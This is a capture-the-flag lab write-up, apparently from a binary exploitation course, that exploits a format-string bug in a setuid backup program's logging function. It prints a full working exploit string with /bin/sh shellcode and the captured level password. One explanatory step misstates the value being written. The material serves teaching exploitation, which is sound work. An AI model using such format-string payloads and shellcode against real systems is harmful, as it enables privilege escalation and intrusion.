For this lab, we are given a program and its corresponding source code:

/*
 *   Format String Lab - A Problem
 *   gcc -z execstack -z relro -z now -o lab4A lab4A.c // -z now compiler flag marks the GOT as completely read-only
 *                                                                                                                                      
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"

void
log_wrapper(FILE *logf, char *msg, char *filename) //msg = "Starting back up: " || "Finied back up " //filename = argv[1]
{
    char log_buf[255];
    strcpy(log_buf, msg); //"Starting back up: "
    snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);  
    //"Starting back up: %x%x%x%x" 
    log_buf[strcspn(log_buf, "\n")] = '\0';
    fprintf(logf, "LOG: %s\n", log_buf);
}

int
main(int argc, char *argv[])
{
    char ch = EOF;
    char dest_buf[100];
    FILE *source, *logf;
    int target = -1;

    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
    }

    // Open log file
    logf = fopen(LOG_FILE, "w");
    if (logf == NULL) {
        printf("ERROR: Failed to open %s\n", LOG_FILE);
        exit(EXIT_FAILURE);
    }

    log_wrapper(logf, "Starting back up: ", argv[1]);

    // Open source
    source = fopen(argv[1], "r");
    if (source == NULL) {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    // Open dest
    strcpy(dest_buf, BACKUP_DIR);
    strncat(dest_buf, argv[1], 100-strlen(dest_buf)-1/*NULL*/);
    target = open(dest_buf, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
    if (target < 0) {
        printf("ERROR: Failed to open %s%s\n", BACKUP_DIR, argv[1]);
        exit(EXIT_FAILURE);
    }

    // Copy data
    while( ( ch = fgetc(source) ) != EOF)
        write(target, &ch, 1);

    log_wrapper(logf, "Finished back up ", argv[1]);

    // Clean up
    fclose(source);
    close(target);

    return EXIT_SUCCESS;
}

The program takes a file in the current directory and backs it up. To get the program working, we must create a backups folder in the current working directory and add a .log file to it.

Running chekcsec on the binary gives us the following results.

gdb-peda$ checksec                                                                                                                          
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : FULL

Because the program is compiled with the -z relro and -z now flags, full RELRO is enabled. Therefore we can neither overwrite the GOT nor the dtors section. Additionally, there is a stack canary which prevents us from performing a traditional stack overflow to corrupt the saved return address.

Vulnerability

A format string vulnerability is introduced in the snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename); call in the void log_wrapper() function. The filename of the backup is never validated before being passed into the snprintf() call, where it is parsed and written to an offset into the log_buf array. The final result of log_buf is later printed to the /backups/.log file.

We can exploit this vulnerability by overwriting the saved return address so that when log_wrapper() finishes, the program instead of returning back to main(), jumps to the location of our shellcode on the stack.

Using fixenv and gdb with peda.py sourced, we can also see that the SRA exists at address 0xbffff6ac

0316| 0xbffff6ac --> 0x8048a8b (<main+171>:	mov    eax,DWORD PTR [esp+0xc])

So we will want to perform 2 controlled writes to overwrite the lower 2 bytes starting at 0xbffff6ac and the 2 bytes starting at 0xbffff6ae.

We can also determine that jumping to address 0xbffff934 will take us safely to the middle of our NOP sled before our execve(“/bin/sh”) shellcode.

gdb-peda$ find "0x90909090909090909090" all

[...]

   [stack] : 0xbffff931 --> 0x90909090 
   [stack] : 0xbffff954 --> 0x90909090 
   [stack] : 0xbffff95e --> 0x90909090 
   [stack] : 0xbffff968 --> 0x90909090 
   [stack] : 0xbffff972 --> 0x90909090 

After performing some calculations, we determine that a width of %63703x with %n will write 0xf6ac to 0xbffff6ac and a width of %50891x with %n will write 0xbfff to 0xbffff6ae. As an aside, I could have also used the %hn format specifier with different widths to write the same values to those addresses.

Putting everything together, the following input will give us a shell.

Solution

lab4A@warzone:/tmp/lab4A$ fixenv /levels/lab04/lab4A $(python -c 'print "B"+"\xac\xf6\xff\xbf"+"BBBB"+"\xae\xf6\xff\xbf"+"%x"*12+"%63703x%n"+"%50891x%n"+"\x90"*10+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*45')
$ id
uid=1016(lab4A) gid=1017(lab4A) euid=1017(lab4end) groups=1018(lab4end),1001(gameuser),1017(lab4A)
$ cat /home/lab4end/.pass 
1t_w4s_ju5t_4_w4rn1ng